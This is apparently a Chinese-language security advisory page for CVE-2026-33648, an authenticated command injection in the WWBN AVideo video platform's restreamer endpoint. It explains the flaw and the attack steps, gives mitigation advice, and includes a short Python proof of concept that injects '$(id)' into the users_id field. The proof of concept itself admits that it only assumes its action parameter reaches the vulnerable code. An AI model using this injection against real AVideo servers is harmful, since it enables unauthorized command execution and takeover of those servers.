IPBUF安全漏洞报告
English
CVE-2026-33648 CVSS 8.8 高危

CVE-2026-33648 AVideo远程代码执行漏洞

披露日期: 2026-03-23

漏洞信息

漏洞编号
CVE-2026-33648
漏洞类型
命令注入
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
WWBN AVideo

相关标签

RCE命令注入AVideoCVE-2026-33648OS Command Injection

漏洞概述

WWBN AVideo是一个开源视频平台。在26.0及更早版本中,restreamer端点存在严重的安全漏洞。攻击者利用该端点处理日志文件路径时的缺陷,将未经处理的用户输入直接拼接到shell命令中。这允许经过身份验证的攻击者通过注入特定的shell元字符,在服务器上执行任意命令,从而完全控制服务器。

技术细节

该漏洞的核心在于不安全的系统命令拼接。在WWBN AVideo受影响版本中,`restreamer`端点负责处理视频流转相关的日志记录。当服务器端接收到包含`users_id`和`liveTransmitionHistory_id`的JSON请求时,程序直接提取这些值并用于构建日志文件路径字符串。关键缺陷在于,该路径字符串随后被作为参数传递给PHP的`exec()`函数进行执行,且在此之前完全未经过滤或转义。这种设计允许攻击者利用Shell解析机制,通过在参数中插入分号、反引号或`$()`等元字符,截断原始命令并追加恶意指令。尽管利用此漏洞需要具备低权限账户,但一旦成功,攻击者即可继承Web服务器的权限执行任意系统命令,造成严重的数据泄露或服务器沦陷。

攻击链分析

STEP 1
步骤1
攻击者使用低权限账户登录WWBN AVideo平台。
STEP 2
步骤2
攻击者向`restreamer`端点发送特制的JSON请求,在`users_id`或`liveTransmitionHistory_id`字段中注入Shell元字符(如`$(whoami)`)。
STEP 3
步骤3
服务器端脚本接收参数,未经过滤直接将其拼接到日志路径中,并传递给`exec()`函数执行。
STEP 4
步骤4
Shell解析恶意元字符,执行攻击者注入的任意系统命令,导致服务器被控制。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json # Target URL (example) target_url = "http://localhost/AVideo/plugin/REST/RESTServer.php" # Login credentials (Low privilege user required) login_payload = { "user": "attacker", "pass": "password" } # 1. Authenticate to get a session/cookie session = requests.Session() login_resp = session.post(target_url, data=login_payload) if "success" in login_resp.text: print("[+] Login successful") # 2. Prepare the malicious payload # The vulnerability is in 'users_id' and 'liveTransmitionHistory_id'. # We inject shell metacharacters to execute 'id' command. # Payload: $(id) or `id` injection_payload = "$(id)" exploit_data = { "users_id": injection_payload, "liveTransmitionHistory_id": "1", "action": "restreamer" # Assuming this triggers the vulnerable endpoint logic } headers = { "Content-Type": "application/json" } # 3. Send the exploit request print(f"[*] Sending payload with users_id: {injection_payload}") exploit_resp = session.post(target_url, json=exploit_data, headers=headers) # 4. Check response or server state for command execution result print("[*] Response received:") print(exploit_resp.text) else: print("[-] Login failed")

影响范围

WWBN AVideo <= 26.0

防御指南

临时缓解措施
建议立即部署官方提供的修复补丁。若暂时无法升级,应在Web应用防火墙(WAF)中添加规则,拦截对`restreamer`端点的请求中包含Shell元字符(如`;`、`|`、`$()`、反引号)的数据,并严格限制该接口的访问权限。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表